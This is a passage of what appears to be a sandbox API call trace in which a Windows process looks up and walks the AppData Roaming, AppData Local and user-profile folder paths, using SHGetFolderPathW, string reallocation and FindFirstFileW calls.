hFindFile=0x75c3f8 | out: hFindFile=0x75c3f8) returned 1 [0117.977] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", len=0x57 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\") returned 1 [0117.977] SysReAllocStringLen (in: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", len=0x56 | out: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 1 [0117.978] SysReAllocStringLen (in: pbstr=0x28f86c*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", len=0x56 | out: pbstr=0x28f86c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 1 [0117.978] SysReAllocStringLen (in: pbstr=0x46061c*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", len=0x57 | out: pbstr=0x46061c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\") returned 1 [0117.978] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0117.979] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchLength=0x2d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming") returned 0x2d [0117.979] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming", len=0x2d | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming") returned 1 [0117.979] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.979] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.979] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.979] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0117.979] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="roaming", len=0x7 | out: pbstr=0x470694*="roaming") returned 1 [0117.979] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.979] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.979] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.979] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="roaming", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="roamingn0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.980] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.980] SysReAllocStringLen (in: pbstr=0x28f85c*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f85c*="c:\\") returned 1 [0117.980] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.980] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c8a0 [0117.980] FindNextFileW (in: hFindFile=0x75c8a0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.980] GetLastError () returned 0x12 [0117.980] FindClose (in: hFindFile=0x75c8a0 | out: hFindFile=0x75c8a0) returned 1 [0117.980] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.980] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f85c*="c:\\Users\\") returned 1 [0117.980] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.980] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c8a0 [0117.980] FindNextFileW (in: hFindFile=0x75c8a0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.980] GetLastError () returned 0x12 [0117.980] FindClose (in: hFindFile=0x75c8a0 | out: hFindFile=0x75c8a0) returned 1 [0117.981] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.981] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.981] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0117.981] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75bdc0 [0117.981] FindNextFileW (in: hFindFile=0x75bdc0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0117.981] GetLastError () returned 0x12 [0117.981] FindClose (in: hFindFile=0x75bdc0 | out: hFindFile=0x75bdc0) returned 1 [0117.981] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0117.981] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0117.981] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="roaming", len=0x7 | out: pbstr=0x28f584*="roaming") returned 1 [0117.981] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\roaming", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0x75c840 [0117.981] FindNextFileW (in: hFindFile=0x75c840, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0117.981] GetLastError () returned 0x12 [0117.981] FindClose (in: hFindFile=0x75c840 | out: hFindFile=0x75c840) returned 1 [0117.982] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0117.982] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0117.982] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0117.982] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0117.982] SysReAllocStringLen (in: pbstr=0x28f860*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f860*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0117.982] SysReAllocStringLen (in: pbstr=0x460620*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x460620*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0117.982] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0117.984] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchLength=0x2b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local") returned 0x2b [0117.984] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local", len=0x2b | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local") returned 1 [0117.984] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.984] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.984] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.984] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0117.984] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0117.984] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.984] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.985] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.985] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localtan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0117.985] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.985] SysReAllocStringLen (in: pbstr=0x28f850*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f850*="c:\\") returned 1 [0117.985] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.985] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c220 [0117.985] FindNextFileW (in: hFindFile=0x75c220, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.985] GetLastError () returned 0x12 [0117.985] FindClose (in: hFindFile=0x75c220 | out: hFindFile=0x75c220) returned 1 [0117.986] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.986] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f850*="c:\\Users\\") returned 1 [0117.986] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.986] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c220 [0117.986] FindNextFileW (in: hFindFile=0x75c220, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.986] GetLastError () returned 0x12 [0117.986] FindClose (in: hFindFile=0x75c220 | out: hFindFile=0x75c220) returned 1 [0117.986] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.986] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.986] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0117.986] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75c278 [0117.986] FindNextFileW (in: hFindFile=0x75c278, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0117.986] GetLastError () returned 0x12 [0117.986] FindClose (in: hFindFile=0x75c278 | out: hFindFile=0x75c278) returned 1 [0117.987] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0117.987] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0117.987] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="local", len=0x5 | out: pbstr=0x28f584*="local") returned 1 [0117.987] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x75c278 [0117.987] FindNextFileW (in: hFindFile=0x75c278, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0117.987] GetLastError () returned 0x12 [0117.987] FindClose (in: hFindFile=0x75c278 | out: hFindFile=0x75c278) returned 1 [0117.987] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0117.987] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0118.046] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0118.046] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0118.046] SysReAllocStringLen (in: pbstr=0x28f854*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f854*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0118.046] SysReAllocStringLen (in: pbstr=0x460624*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x460624*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0118.046] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0118.048] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz", cchLength=0x1d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz") returned 0x1d [0118.048] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz", len=0x1d | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz") returned 1 [0118.048] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0118.048] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0118.048] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0118.048] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userstan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0118.048] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0118.048] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0118.049] SysReAllocStringLen (in: pbstr=0x28f844*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f844*="c:\\") returned 1 [0118.049] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0118.049] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, 